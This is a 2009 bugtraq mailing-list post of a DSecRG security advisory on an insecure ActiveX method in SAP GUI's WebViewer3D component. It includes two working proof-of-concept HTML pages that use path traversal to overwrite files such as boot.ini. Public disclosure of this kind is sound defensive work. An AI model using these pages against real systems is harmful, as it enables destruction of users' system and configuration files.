bugtraq - (edited) [DSECRG-09-044] SAP GUI 7.1 Insecure Methods

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Date: Mon, 28 Sep 2009 12:49:24 +0400
From: Alexandr Polyakov <alexandr.polyakov@...c.ru>
To: bugtraq@...urityfocus.com, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: (edited) [DSECRG-09-044] SAP GUI 7.1 Insecure Methods


Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-044


Application:                    EnjoySAP, SAP GUI for Windows 6.4 and 7.1       
Versions Affected:              Tested on 7100.2.7.1038 PL 7
Vendor URL:                     http://SAP.com
Bugs:                           insecure method, File owervriting
Exploits:                       YES
Reported:                       02.07.2009
Vendor response:                02.07.2009
Date of Public Advisory:        22 сент
CVE-number:                     
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID:    {AFBBE070-7340-11d2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system. 

Details
*******

Attacker can construct html page which call one of the wulnerable functions such as: 

1) SaveToSessionFile
2) SaveViewToSessionFile

from ActiveX component EAI WebViewer3D



Example1:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>


Example2:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveViewToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>




For example we can overwrite boot.ini file or  sapgui.ini which contains all connectionbs to sap servers 


Fix Information
***************



About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com